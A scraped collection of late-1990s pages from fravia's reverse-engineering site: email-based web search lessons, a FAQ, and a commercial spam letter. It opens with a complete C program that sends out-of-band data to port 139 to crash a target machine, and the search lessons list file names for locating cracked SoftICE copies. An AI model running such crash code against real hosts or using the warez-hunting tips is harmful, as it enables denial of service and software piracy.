#include <sys/socket.h> #include <unistd.h> #define dport 139 /* Attack port: 139 is what we want */ int x, s;
char *str = &quot;Bye&quot;; /* Makes no diff */ struct sockaddr_in addr, spoofedaddr; struct hostent *host; int
open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char
*)&amp;blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server);
blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he-&gt;h_addr, (char
*)&amp;blah.sin_addr, he-&gt;h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) <0) {
perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)="=-1)" {
perror("connect()"); close(sock); return(-4); } printf("Connected to [%s:%d].\n",server,port); return; } void
main(int argc, char *argv[]) { if (argc !="2)" { printf("Usage: %s <target>\n&quot;,argv[0]); exit(0); } if ((s =
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror(&quot;socket()&quot;); exit(-1); }
open_sock(s,argv[1],dport); printf(&quot;Sending crash... &quot;); send(s,str,strlen(str),MSG_OOB);
usleep(500000); printf(&quot;Done!\n&quot;); close(s); }
nice, isn't it?

__Real powersearch__

You believe that searching the web is just using AltaVista, Hotbot and the other search engines? (Which you'll
all find here btw).

You are wrong: there are (at least) three other possibilities:
1) Searching per email, see my lessons:

Fravia's own lessons


[Available lessons:]

lesson_5 ~ General use of agora, http:// retrieving ~ July 1996 ~ complete

lesson_6 ~ Ftping files, agora queries and emailing altavista ~ December 1996 ~ complete

lesson_7 ~ W3gate, search spiders, error messages and evaluation of results ~ March 1997 ~ complete

http://www.instinct.org/fravia/coumes.htm (5 of 7) [2/7/2001 3:03:12 PM]


coumes.htm fravia's "Counter measures"

lesson_8 ~ Advanced searching techniques (combing and klebing) ~ November 1997 ~ complete

lesson_9 ~ Searching effectively ~ Site monitoring ~ January 1998 ~ complete

lesson_10 ~ Let the bots search for you ~ and build your own search-bots :-) ~ June 1998 ~ 'light'

2) Searching through own robots/spiders, you'll find material on this here.


3) Using the searches that OTHERS have made! (combing)
I divide this field in "usenet combing" and "topsites combing"

I have started working on this in March 1997, and I don't think you'll find it somewhere else!
(c) fravia :-)

Usenet combing is preferably made through simple email (never underestimate the POWER of email for
internet investigating matters):

To: Email-Queries@Reference.COM
Subject: (None)
Text: FIND search AND engines
Try it now, You'll get an answer in circa half an hour.

Another possibility is through an Agora's "news:" command:

To: agora@dna.affrc.go.jp
Subject: (None)
Text: send news:alt.anonymous
Try it now, You'll get an answer in circa 10 minutes.

Topsites combing is very useful to find quickly "delicate" subjects, like warez and free "images". You don't do
it obviously on newsgroups (where you'll always find only an infinite list of "me-too" lusers). You'll go instead,
for instance straight to
Web-Counter
Where you'll have a look at the "Top 1000" pages

and Websidestory
The World Top 1000 Pages Where you'll have a look at the Top 1000 "hackers" page (for instance).
The same applies for the "normal" search engines and for many other "counters" on the web. As soon as you
"see" a new counter somewhere, check immediately if there is a "top 1000" option, and wade happily through
tons of information!

Enjoy!

back to the top of this nice page

http://www.instinct.org/fravia/coumes.htm (6 of 7) [2/7/2001 3:03:12 PM]


coumes.htm fravia's "Counter measures"

Page unfinished, rough and under heavy construction since november 1996!

homepage links +ORC bots wars students' essays counter measures


bots wars antismut CGI tricks academy database tools javascript tricks
cocktails search_forms mail_fravia+
Is software reverse engineering illegal?

(c) Fravia, 1995, 1996, 1997, 1998. All rights reserved, in the European Union and elsewhere

http://www.instinct.org/fravia/coumes.htm (7 of 7) [2/7/2001 3:03:12 PM]


search

HOW TO SEARCH THE WEB by fravia+


(Based on some original private emailings from +ORC)

You'll never download on line again


Letter 005 - July 1996

We saw in the precedent letter how to utilize an AGORA server to make some searches through LYKOS
and other search robots on the web and how to get emailed to us -automatically- any resulting
"http://...page" from the Web.
Let's resume what we have learned:

TO SEARCH (Agora_search: Lykos)


To: agora@dna.affrc.go.jp ("agora" server)
Subject: (nothing here)
Body: send http://lycos11.lycos.cs.cmu.edu/cgi-bin/flpursuit?first=1\\&maxhits=30\\&minterms=1\\&minscore=0.01\\&terse=standard\\&query=winice95+Softice

TO SEARCH (Agora_search: Webcrawler)


To: agora@dna.affrc.go.jp ("agora" server)
Subject: (nothing here)
Body: send http://webcrawler.com/cgi-bin/WebQuery?W_ICE+S_ICE

TO SEARCH (Agora_search: CUIWWW)


To: agora@dna.affrc.go.jp ("agora" server)
Subject: (nothing here)
Body: send http://cuiwww.unige.ch/cgi-bin/w3catalog?cracker%20tutorial

TO GET A PAGE (Agora_retrieval):


To: agora@dna.affrc.go.jp ("agora" server)
Subject: (nothing here)
Body: send http://info.webcrawler.com/mak/projects/robots/robots.html (a document about robots on the
web)
(You may use the command "deep" instead of the command "send" if you want all the linked pages on
the site too... WATCH IT: You may get hundreds of pages!)

http://www.instinct.org/fravia/sear0796.htm (1 of 4) [2/7/2001 3:03:15 PM]


search

An Agora server it's a great thing, but has a limit of 5000 "lines", which makes it useless for
downloading files that may at times be as big as a couple of million of bytes (for instance Netscape
Navigator).
For bigger files you'll have to use an ARCHIE search, a FTPMAIL retrieval, a
UUENCODE/UUDECODE decoder and a PKZIP/PKUNZIP unzipper.
Sounds complicated, but it's pretty easy, and very useful, so you better learn it as soon as you have some
time to spare. Grasping these techniques will be very useful, do believe me.

TO SEARCH FOR GOODIES (Archie_search):


To:__________archie@archie.funet.fi_________(this is the good suomi archie, but there are many more)
Subject:______(nothing here)
Body:________set search sub______________(substrings included)
____________set maxhits 200______________(100-1000)
____________set maxhitspm 6______________(not one file all over)
____________find snap32.exe______________(we want to find out where is this utility)

(Get a list of all Archies emailing an Archie with only "help" in the body)

Well.. yes, you SHOULD ALREADY KNOW THE EXACT NAME of the program you are searching
through Archie... try the same search with find snap instead of find snap32.exe and you'll see what I
mean. Remember that on the Web Nomen est omen as +ORC wrote. Besides, there are Archies and
Archies... the servers in the EAST (i.e. Russia and Poland, Korea, Cina and Yugoslavja) are the best ones
for our purposes. The servers in the States and in the European Union are almost useless for this kind of
search: too much censorship and no real freedom in these oligarchies of money and forced publicity,
where frills and bad taste count much more than knowledge and studies, this desert of intelligence,
populated by TV_zombies and consum_slaves, witlessly called "free" world...(but do not despair! There
are other tricks for us to apply, here :-)

If you follow the instructions above, you'll get an answer, after a while, for instance something like this:

Host space.mit.edu (18.75.0.10)


Last updated 20:02 22 Jan 1996

Location: /pub/mydir
FILE -rw-r--r-- 407040 bytes 19:55 28 Nov 1995 snap32.exe

now that you know where the file is, you must ftpmail it, in order to get it, therefore you better get
yourself aquainted with ftpmail.
This will enable you to get any software on any subject!
For details of how to use ftpmail send a message with the word "help" in the body (nothing in the
subject) to:
bitftp@wm.gmd.de
ftpmail@ftp.uni-stuttgart.de
ftpmail@grasp.insa.lyon.fr

http://www.instinct.org/fravia/sear0796.htm (2 of 4) [2/7/2001 3:03:15 PM]


search

ftpmail@ieunet.ie
ftpmail@plearn.edu.pl
ftpmail@doc.ic.ac.uk

LET's GET A FILE (FTPmail_retrieval):


To:___________bitftp@vm.gmd.de______________(a good german ftpmailer)
Subject:_______(nothing here)
Body:_________open space.mit.edu_____________(open the target server)
______________cd /pub/mydir_________________(go where you should)
______________bin_________________________(prepare for a FILE, not text, transfer)
______________get snap32.exe_______________(I want this goody... in order to crack it with +ORC's
lesson 9.1 ;-)

THAT's IT! You'll get your file ftpped to you per email, without having to move a finger!
Using these email searches and retrieval systems helps
- Because you'll concentrate on the SUBSTANCE, and ignore all the stupid "mediatic" frills (you'll
despise all the "Netscape enhanced pages, after a very short while).
- Because you can "shoot" all your queries in the morning (it takes only few minutes on line because you
prepared them off line) and "gather" all the results in the afternoon (again, few minutes on line), and
you'll have the whole evening to study them at ease, off line, preparing accurately the next query steps
for the next day.
- Because you'll slowly grasp the emerging of very interesting "patterns": Some servers (in Bulgaria,
Rumenia, Russia, Jugoslavja, China) have a lot of "goodies" that you'll never find on the european and
north american servers. Some archies are more useful than others. This "ping-pong" approach is indeed
slow, but much more "finalized" than the butterfly browsing which brings nowhere.
- Because you'll keep a good "Breadcrumbs trace" of your findings, always ready as reference for the
next journeys.
All this does NOT mean that you should never browse and only email the Web, obviously, it's only ONE
WEAPON more in your arsenal of knowledge, and you should use it as such.
Let's imagine (just academically speaking, because you should always BUY your software), that you
would like to look for some cracked copies of softice/winice on the Web.
These copies change location continuously, for obvious reasons, and you should do searches with the
right names, because on the Web, as +ORC said, "nomen est omen". Here are some of the names you
would eventually have to use:
DOS SOFTICE: S-ICE280.ZIP; sice280.zip
WIN 3.1 WINICE: SIW152.ZIP
WIN'95 WINICE: RSH-SI95.ZIP; si322p95.exe; siw323-95.zip; siw9532.zip; siw32395.zip
NT SOFTICE: nt323.zip; siw323nt.zip; siwnt32.zip;

Please submit any other name you know of

(And now the part for the newbyes)

http://www.instinct.org/fravia/sear0796.htm (3 of 4) [2/7/2001 3:03:15 PM]


search

All large files you get ftpmailed will be "divided" in many sendings, and you'll have to save all of them
in a subdirectory before DECODING and UNZIPPING them. What follows should be pretty obvious, but
since this letters should explain COMPLETELY each subject, I'll nevertheless explain the basic concepts
of DECODING and UNZIPPING

TO DECODE:
Things are not yet finished: the file will come per email... therefore it will be most probably uuencoded, a
standard encryption used for transferring non ascii codes through ASCII charachters... only thing you
should know: you'll need a program: WINCODE, to decode it.
Fetch it from somewhere, it's shareware: put it in a subdirectory of your harddisk.
Wincode will allow you to UUencode files you want to send per email and to UUdecode the encoded
files you'll get.
How does it work? Read the instructions.

TO UNZIP:
This "wincode" file is zipped, i.e. compressed. That's a common trick for sending large files.
You'll need an utility: PKUNZIP, to decompress it (and almost all other files you'll get from the web).
Put pkunzip.exe in your c:\ harddisk ROOT (not in a subdirectory).
Put the previous Wincode.zip in a special directory you'll create in your harddisk, say "wincode".
Now just execute the dos command pkunzip -d c:\wincode\wincode.zip ... it's all, this will decompress it.

CONCLUSION:
Now you have everything you need to FIND and DOWNLOAD ANY FILE on the planet. Go ahead,
enjoy!

Go ahead, enjoy!
fravia+, July 1966

how to search 6 how to search 7 how to search 8

homepage links +ORC tools students' essays antismut


cocktails search_forms mail_fravia

fravia 12 Aug 1996

http://www.instinct.org/fravia/sear0796.htm (4 of 4) [2/7/2001 3:03:15 PM]


info.htm: fravia's faq (info you should (MUST) read before writing to me)

Fravia's FAQ
~ January 1999 ~

Some info you should (MUST) read before writing to me, since I'm fed up
having to answer always the same questions. I know that the following
is a little long, but believe me, people still ask me the same useless
questions after having read all this FAQ, so I'm desperate.

FIRST OF ALL: DON'T SEND OUT UNWANTED ATTACHMENTS


I don't like the useless attachments that fill my emailboxes: turn them off. If you don't know how to turn them
off, read my how to get rid of silly attachments. This is very important for newbies.
THEN PLEASE READ THIS:
1. NO! I will not accept your sponsoring banners, gates, links. Send me money -by all means- if you are
a DONOR, but seek other sites if you are a SPONSOR. I hate sponsors. Fravia's site will ALWAYS
remain completely advertisement free... see how many other important sites can you find on the web
that can proudly say the same :-)
2. I do not and will never crack anything for anybody: learn how to crack and crack yourself your
applications. I could not care less about the reasons you may list for not being able ~ not having the
time ~ not having the luck ~ not having the intelligence to crack yourself your apps. Besides cracking is
only a tiny part of the real game. It's just the first 'juvenile' step to reversing software, which in turn will
bring you to the even higher target of reversing the reality around you. So if you are so obsessed by a
specific software target, buy it.
3. I like clever crackers, but I like intelligent protectionists as well. I examine protections of two sorts:
protections that are CLEVER and UNUSUAL and protections that must be removed in order to fully
enjoy a VERY USEFUL program. Sadly very few programs are really useful and very few protections
are indeed intelligent. If you are a programmer and/or a protectionst reading my pages (as many actually
do... see my awards page) do not despair: your program is probably NOT useful at all, and your
protection is probably NOT clever... nobody will ever attempt to crack it, you may sleep relaxed.
4. I dislike Micro$oft because it's imposing a poor operating system to the world, using it's hidden (and
bugged) features in order to bankrupt the concurrence. I hope that Bill Gates will soon die, or worse,
pancaked by a truck, or something like that. I hate everything which is commercial oriented, I would
like to find a method to eliminate people that stupidly watch publicity ads on the Net and elsewhere (I
won't even tell you what I would like to do to the guys that write that crap :-), and I LOVE people that,
like for instance +ORC, (or, more modestly, +gthorne, me and all the other +HCUkers), give out
knowledge for free.

http://www.instinct.org/fravia/info.htm (1 of 8) [2/7/2001 3:03:23 PM]


info.htm: fravia's faq (info you should (MUST) read before writing to me)

And now read the FAQ (like it could answer your questions :-)

COMMON QUESTIONS
Q: Hey, may I link to your page?
A: Please do. It's up to you. You do not need my authorisation. If you do, please comment: links without
comments are completely useless.

Q: Hey, I put a link to you on my page. Now will you link to my page?
A: NO! I may, eventually, if your page is outstanding, which I doubt. Yet I'm slow. It may take ages. Don't
count on that. Send me your URL a couple of times. Wait four to six months and see what happens on my
links page.

Q: Why don't you put some kind of order in your messy site?
A: My pages have to be understood. I don't want to make things much too easy for lamers and 'me too'
leechers. Yet there are various 'kinds' of orders you can apply. Find them. Else forget it, there are many other
interesting things on the web.

Q: Hey, some of your links don't work!


A: Yes, thanks. Will take some time... you see, running a site like mine is a little like keeping those 'Chinese
dishes' spinning on their poles... you keep running from a section to the other trying to keep the momentum...
fixing links is important, yet it is NOT a priority. Send me a list of them. Wait some time. If I have not fixed
them please, by all means, send me the 404 once more. Yet don't forget that once you'll have learned how to
search you will not need many links any more.

Q: I like your page a lot! How can I make a cool page like yours?
A: I don't know. No idea. I used edit.com and started from scratch. A good idea is to avoid frames and
scattered images. If you have some content your site will florish by itself, else forget it, there are many other
interesting things on the web.

Q: Do you happen to have file/program so_and_so?


A: Unfortunately no, sorry. You may try to use a search engine. Else forget it, there are many other interesting
things on the web.

Q: Where can I find file/program so_and_so?


A: No idea, sorry. You may try to use a search engine. Else forget it, there are many other interesting things
on the web.

Q: I already (did read the faq /looked at the page / made a lot of efforts / made everything you told me to do).
Can't you just tell me where to get file/program so_and_so?
A: No idea, sorry. You may try to use a search engine. Else forget it, there are many other interesting things
on the web.

Q: How does IRC work? Where should I myself IRC?

http://www.instinct.org/fravia/info.htm (2 of 8) [2/7/2001 3:03:23 PM]


info.htm: fravia's faq (info you should (MUST) read before writing to me)

A: No idea, sorry. I do not IRC and consider it to be the absolute waste of time. You may try to use a search
engine and search for "internet relay chat". Else forget it, there are many other interesting things on the web.

Q: Hey! I sent you a very good essay a week ago and you still have not published it!
A: Sorry. Probably went lost, especially if you used Outlook, which is seriously bugged. Try once more as
PASTED TEXT in your email. Wait (at least) a week. If it still wont be published try once more later, or try
elsewhere. I won't ALWAYS reply to an email if it is not necessary, even if the information inside it has been
useful. I have not the time to justify my publishing choices. Hope you'll not take it personally and you'll still
send (better) essays later on. If not, good luck to you anyway.

Q: Hey! You published an essay of mine some time ago, thanks, yet I need to change this and that, because I
realised that (my lame patch crashes/the protection is elsewhere/I did not understand the code at all/I did not
check thoroughly my essay before sending it to you)!
A: You lazy scoundrel! Why didn't you check it better BEFORE? You deserve to wait (and be blamed by all
readers) for at least a couple of weeks... should this happen anew I'll slowbomb you!

Q: How can I learn to be a hacker?


A: No idea, sorry. I'm no hacker, I'm not even very interested in hacking. You may try to use a search engine.
Else forget it, there are many other interesting things on the web.

Q: How can I learn to be a cracker?


A: Read +ORC's tut. Read the info on my site. Crack on your own old programs. Reverse the COMPLETE
code of a small program. Re-write it modified. Voila, you're a cracker. If you really need help in order to
CHOOSE what to read, +Mammon_'s "curriculum" is a magical place that will send you on the most correct
path. Yet, even once you have learned how to reverse alien code, don't believe you KNOW anything: Zen
cracking is a completely different matter. You'll learn it in due time.

Q: How can I learn to protect better my apps?


A: Please read and study the material on my page: you won't ask this again. Should you feel you need to ask it
again, you will NEVER learn how to be a good protector, I'm afraid... forget it, there are many other
interesting things on the web.

Q: Hey, I'm using MSIE to browse your site and "Bum!" I get (total destruction/funny colours/bubbles/Delhi
belly/whatever) when I access some of your pages... what should I do?
A: My pages will now be prepared ONLY for Opera browsers. Besides, M$IE it's slower AND sloppier AND
even more bugged than Navigator! :-). There are some pages of mine that are MADE in order to explode
M$IE just for the fun of it.
Enough reasons for a straight honest answer to all your problems: download and use (and modify and 'panzer')
your own copy of Netscape's Navigator, or, even better, your own copy of the very agile (less than one million
bytes) and much more useful Opera browser!

Q: Hey, please! I need some site passwords! You'r a site buster, can't you please...
A: Beggar off.

Q: Please, I'm desperate! I'm not a bad person, and I really need you to (hack/crack/revenge me/fetch a
password) inside (my school server/someone's webpage/someone's server/someone really bad and nasty)
because (insert sob story here). HELP ME PLEASE!!!

http://www.instinct.org/fravia/info.htm (3 of 8) [2/7/2001 3:03:23 PM]


info.htm: fravia's faq (info you should (MUST) read before writing to me)

A: Beggar off, you stupid sod.

Q: Hey, you gotta a lot of hits! You know: you could make a lot of money out of them! You could for instance
(accept us as sponsors/work for us/publish this ad/enter this webring/set our 'password only' commercial entry
area...)
A: Beggar off. I'm not interested in any job you could offer me, unless you'll pay me (and very well) in order
to do what I'm doing now and whatever I'll fancy for the future: Donors are always welcome, sponsors ARE
NOT: I'm not going to carry ANY awful "sponsorship" banner, nor ANY advertising ads on my pages,
NEVER. I'm not to be bought for ANY sum whatsoever, believe it or not. Therefore STOP sending me
ridiculous spamming offers! Money does not mean anything to me... try with inside information instead... :-)

Q: Hey, your site is huge, and the telephon bills are huge as well... couldn't you please send me all your pages
zipped, so that I can peruse them at leisure?
A: This kind of questions make me sad. How long will I have to tell you, kids, that you should FIRST
LEARN HOW TO SEARCH THE NET! If you had done it, you would know how to fetch a whole
complete site for free using either special software like websnake or teleport pro, or a wwfetcher (or any good
agora server) or even a dedicated script made by yourself. For the mentally impaired among my readers (and
for the real lazy ones) here is The sitegrabber a free site-fetcher bot... yet I would nevertheless suggest you to
consult my site on-line, because many pages of mine are continuously updated or modified without notice and
also because you surely waste so much time already on useless sites on the web that you should for once
peruse at leasure when you find some worthy information...
Q: How can I join the +HCU? Can I be an +HCUker?
A:The +HCU is an idea of +ORC, created in order to find many people capable to "explain" and teach our
techniques. (It worked well, as the academy pages testify :-) I passed among the first ones, together with
+gthorne and +Sync. Basically we got +ORC's lessons a little before everybody else did and, if we did
interpret correctly his cryptic messages (I liked him quite a lot, but he is as weird as a banana, I tell you), we
had to "ameliorate" and "refine" them... I suspect that the whole trick was only that he was too lazy to finish
his cracks himself, as I wrote him already a couple of time.
This year courses have been held by +Alistair and +Aesculapius in absentia orci. 1999 courses should start on
schedule in January, +Aesculapius is preparing them (at least I hope). The +HCU publishes every year a
'strainer' (in April), which must be solved before October in order to gain admission to the following year
courses... you can have a look at the '98 strainer for 1999 courses if you want (and you should have a look at
its solutions, there is much to learn there), but you'll have to wait until April 1999 to get the strainer that you'll
have to solve in order to partecipate to next Millennium's courses. In the mean time, off course :-) you can
already now work with us all and collaborate in some ongoing project (or propose a new project :-). Anyway
+ORC seems to have retired and we are at the moment -sadly- no more in contact with him.

Q:Can I use right now a "+" inside my own handle?


Q:Anyone can use a "+" inside his handle, and of course you are not compelled to even if you are inside the
+HCU... is just a way to recognize each other in a world full of 'lesser' crackers that are more keen on
bragging and on releasing the greatest possible quantity of ready made patches for the lusers than on teaching
the techniques of our trade and help its evolution.

Q: Hey, d'you know who the hell is +ORC?


A: After all these years I still don't know who the hell he is... I have some suspicions... anyway I would like so
much to know his real identity that I'll compensate anybody that will give me valuable info about him with a

http://www.instinct.org/fravia/info.htm (4 of 8) [2/7/2001 3:03:23 PM]


info.htm: fravia's faq (info you should (MUST) read before writing to me)

big box of very good beer. The Basilisk has seriously tryed to stalk +ORC, you may contact him on his +ORC
page if you are interested in this kind of stalking.

Q: Listen, Since you publish all those nice essays, you must have the addresses of all those good reverse
engineers. Although I never contacted you before, I'm a very nice guy and I need the addresses of X, Y, Z!
Could you please, since (insert sob story here), put me in contact with them?
A: Unfortunately no. I lost all those addresses inside a Blowfish. If you are serious about recruiting people for
this kind of job (which I doubt) you should at the very least know how to contact them directly even if you do
not have their addresses.

Now, if you still really need something, or if you want


Else, if you are sending me an essay, please be so
to thank for the efforts I have put in these pages, you
kind and try to follow these simple
may

mail_fravia rules for submission

Hey, the following is only for truly sensitive matters, no need to PGP everything...

-----BEGIN PGP PUBLIC KEY BLOCK-----


Version: PGP for Personal Privacy 5.0

mQGiBDX7Xc8RBAD4Sgv2cL1Kh9HEuk9ZpWP0uECAyZ+qWLTGxLGiwdTrajpPwPa4
6oe6GABDB2cE+txVJX4s3PkYZTUPe7kmGS5UhjNdaFD/qhjs8cwdJm1wTmN/8VYq
D59d6ok46toKYxwi+0cZWRvsmJXSzIEIoJv2f/duJvaAC5YoOU0P7+K95QCg/xht
W7b6A4iQAh+fkHxGXkeVYwED/jqfotyqhuh3bjWvfEJnbgamWZyTlCb4EGaSLSFh
VYdJ0u3wMsPZHj87j97OC6CU9It/SyIT5O+sPtj/CkW83ZYB/Z/GeUMvo89hKPNZ
oPtehaHZGTz3FASqHLOk0E/ueHtfwrJ+3FFqmK0oCzuNJIhQ07p8G6oOuhY3BUiO
YRGzA/4gR1P3ymB/IdfcAw+eAXkOvcQWjnz+Eeilcx35hIiovqeqmPi+onRmgmm4
mphth99ZjwJm9sHaUOi4Gdj1PJyGHRW1q5yQGIc2QFVNzD1GocWnEWQo99VqUDrP
VkM51UTBL357rMc1vVTYY4srQ5ytwN8v7cxMlrRrft1zs6FuJbQlZnJhdmlhQGZy
YXZpYS5vcmcgPGZyYXZpYUBmcmF2aWEub3JnPokASwQQEQIACwUCNftdzwQLAwEC
AAoJEPgRbu+AUXAFFlcAoIHhiYNJZdEwnxX5/ko4Kuro1S7FAKD7Shg3XtWjXwLN
Gz+AIQLfPVM61LkCDQQ1+13PEAgA9kJXtwh/CBdyorrWqULzBej5UxE5T7bxbrlL
OCDaAadWoxTpj0BV89AHxstDqZSt90xkhkn4DIO9ZekX1KHTUPj1WV/cdlJPPT2N
286Z4VeSWc39uK50T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq01uejaClcjrUGvC/
RgBYK+X0iP1YTknbzSC0neSRBzZrM2w4DUUdD3yIsxx8Wy2O9vPJI8BD8KVbGI2O
u1WMuF040zT9fBdXQ6MdGGzeMyEstSr/POGxKUAYEY18hKcKctaGxAMZyAcpesqV
DNmWn6vQClCbAkbTCD1mpF1Bn5x8vYlLIhkmuquiXsNV6TILOwACAggAx876o56I
HvR6aqy1cQrCEThhac3VMkfh2KfDxjqlpLDx5AKmaj6YUHeL9MFLp/fmtt9BiJJq
1+moxsoHIWn+MT3AfNG+OUKxDaVzmqTnfO6DZSouieHL3lju7LPnUTI+xorpCEZp
tsVx+2yaolIXZxeChIzqfx9ZPF9jFMm9zO9gY8ay94gLMdVKC3RO7QSCW4SPbTlx
Qi6aDJtYyPBgrsMuzYvOTrad15QWBQ5fF2Frj//HJ6BSCcCDiuxySVj6Wd6sd4UY
ramU2RWuebort4K3w/6sM76gEtS5HN3IuIpm9vcMGdUGpxIylsfmsDahw21iC6hp
xUXlQt2VIl0voIkAPwMFGDX7Xc/4EW7vgFFwBRECJxQAn2K9Rrw7hjq4KsGeA1fg
tOHTtVZtAJ9wYpme9AeuHhE28IS4V8iubM7imQ==

http://www.instinct.org/fravia/info.htm (5 of 8) [2/7/2001 3:03:23 PM]


info.htm: fravia's faq (info you should (MUST) read before writing to me)

=yiI0
-----END PGP PUBLIC KEY BLOCK-----

Messageboard
A message board for all people hanging round at fravia's

history of my site ~ future of my site ~ help I need ~ examples of people ignoring this faq

homepage links anonymity +ORC students' essays academy database


tools counter measures cocktails antismut bots wars search_forms mail_fravia
Is reverse engineering legal?

You think I have unduly exaggerated?


You'r wrong: here is just one of the many letters of this kind I keep receiving notwithstanding all what I have
written on my faq:

From Ze us Fri Sep 18 12:18:52 1998

Hy
I want the crack.exe for soft-ice 3.01 Have you got this ?
I'm a French boy and some error in my text it is for that
A+
So, you see, sadly, I have not exaggerated... :-(

Get rid of useless attachments


(original by Ben Goetter & Gerald Boyd)

I will start to filter all the mail addressed to me that contain


HTML coding, MIME encoding, and unwanted Micro$oft attachments
such as WINMAIL.DAT.

I getting deluged with this junk. Will you newbies please, please,
please, turn off this "stuff".

M$-Mail has a feature that allows M$-Mail users to exchange


fully-formatted messages (fonts, italics, etc.), by attaching an RTF
(Rich Text Format) file to the message. Another M$-Mail user will see

http://www.instinct.org/fravia/info.htm (6 of 8) [2/7/2001 3:03:23 PM]


info.htm: fravia's faq (info you should (MUST) read before writing to me)

the formatted version, while any other email program will show the ASCII
message plus the attachment. M$ made this option enabled by default, so
many M$-Mail users have no idea that they are annoying the rest of the
world.

When Exchange thinks that it is sending mail to another Exchange user on


the Internet, Exchange (more properly, the Internet Mail message service
provider) encodes the message, along with attached files, embedded OLE
objects, and their associated icons, into a special data block called the
TNEF (pronounced tee-neff) block. This block encapsulates the complete
original content of the Exchange message, so that the message arrives at
its destination with all proper formatting intact, including boldface,
underlining, fonts, and colors. Otherwise, Exchange formats the message
in an Internet-standard fashion, discarding all rich text attributes and
ensuring that all attached files appear as standard attachments.

The problem arises when people not using Exchange or Outlook receive a
message in the TNEF format: instead of seeing a formatted message, they
see a big chunk of UUENCODE data if the sender used UUENCODE format, or
a MIME body part application/ms-tnef if the sender used MIME. Depending
on which mail program they use, they may either see a long sequence of
hexadecimal digits, or they may see an attached binary file named
WINMAIL.DAT.

Here's how to turn it off:


Step #1:
. Double-click on the Mail and Fax icon in Control Panel.
. Click on the Services tab, and select Internet Mail from the list. If
Internet Mail is not listed, click Add - add this service.
. Click Properties, and then Message Format.
Turn off the option that reads Use MIME when sending messages.
. Click OK and then OK again.

Step #2:
. Double-click on the name of each recipient in your Address Book.
. Turn off the option that reads Always send to this recipient in
Micro$oft rich-text format.
. This option needs to be set for each recipient of a message - if even
one has this turned on, all recipients will still get the attachment.

Note: Either of these methods should work for most users, but sometimes
nothing seems to work - yet another brilliant design strategy by M$. I
you plan to be sending lots of internet email, you should seriously
consider using a mail program more suited to the task, such as Pegasus
or Eudora.

Note: A bug in Exchange may cause line feeds to be replaced with equal
signs when rich-text mail is disabled.

http://www.instinct.org/fravia/info.htm (7 of 8) [2/7/2001 3:03:23 PM]


info.htm: fravia's faq (info you should (MUST) read before writing to me)

If other people complain that your messages arrive with gibberish or a


mysterious WINMAIL.DAT file, then try Rich-Text Sentry.

Rich Text Sentry will not work with M$ Office 95 WordMail,


since the WordMail forms don't support client extensibility. For
the same reason, it will not work with the simplified send note
included in the Windows 95 Messaging Update.

You can find it at


http://www.angrygraycat.com/goetter/rtfguard.htm To get rid of MIME encoding: Check your E-mail program
and: Change from: Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: quoted-printable
Change to: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Turning HTML off in
Outlook Express -- Windows 95. Go to Tools and then click on Options ... Go to Edit and then click on
Preferences ... Click on Send and choose Plain Text in Mail sending format. Do not forget to unmark "Reply
to messages using the format in which they were sent." Turning HTML off in Netscape 4.0 This configuration
is the same on all platforms: Mac, Win95, Win3.xx, Linux, ... Go to Edit and then click on Preferences ...
Click on the plus before mail and groups and click on 'Messages'. Turn 'By default, sent HTML messages' off.
Go to 'More Options' and choose 'Always convert the message into plain text'. Click on OK and on OK again.
Let's hope you will not send out any more attached crap...
The info above should be enough, yet you may want to read Gerald E. Boyd's What is wrong with sending
HTML and MIME messages?, on Boyd's pages that are a TREASURE of information about e-mail handling,
searching and downloading

Choose another page!

Or perform a query on fravia's site

homepage links anonymity +ORC javascript wars academy database


bots' wars tools cocktails antismut CGI-scripts search forms mail fravia+
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998. All rights reserved

http://www.instinct.org/fravia/info.htm (8 of 8) [2/7/2001 3:03:23 PM]


kent_comm.htm How commercial trends are transforming the web from ...der of CONTENT into a nightmare of utterly useless banner clicking

How commercial trends are transforming the web from a


great provider of CONTENT into a nightmare of utterly
useless banner clicking
~
Courtesy of fravia's page of reverse engineering
30 May 1998
Well, here you go... have a look by yourself, this is only one out of a serie of continuous offers... tsch,
tsch: they don't read the faq, they don't care in the least about the content of the sites they would like to
commercialize (else they would have realized that I don't like these things and that I have (almost)
100.000 hits per day, not per month :-) and above all, this kind of guys are so money oriented that you
get the creeps... they don't even try to understand what's going on under their noses... therefore I believe
it is time to show all readers, trasparently, how the 'caterpillar' commercialism is destroying the net...
this kind of guy will turn YOUR surfing into a nightmare of banner clicking (thus DAMAGING your own
search for content) just in order to do some (small potatoes) profit...
Enjoy this kind of trasparence... I don't believe that anywhere else than at fravia+ you'll be able to get so
many real info about the 'behind the scene' activities... well, if you do find this kind of info elsewhere,
please tell me where! I'll link! BTW, notice the part I have underlined in red below... and Kent will be
amazed to read, at the bottom, that I could actually publish his 'integrated shopping' crap... subject to
some conditions :-)
Sender: kent@bottomdollar.com Slimfiltered_for: <webmaster@fravia.org>; Fri, 29 May 1998 12:12:33
-0400 Received: from webcent (ppp-208-18-65-155.wchtks.swbell.net [208.18.65.155]) by
mail-gw4adm.rcsntx.swbell.net (8.8.5/8.8.5) with SMTP id LAA07217 for <webmaster@fravia.org>;
Fri, 29 May 1998 11:11:15 -0500 (CDT) From: "Kent Johnson" <kent@bottomdollar.com> To:
<webmaster@fravia.org> Subject: Advertising on your web site Date: Fri, 29 May 1998 11:10:57 -0500
Message-ID: <18f301bd8b1c$5d19a9b0$0100005a@webcent> MIME-Version: 1.0 Content-Type:
text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal)
X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Hey, great site at http://www.fravia.org. We are interested in launching price comparison searches
directly from this site. We can do this in one of two ways:
1) We can purchase advertising spots on your web site for our HTML banner that is capable of launching
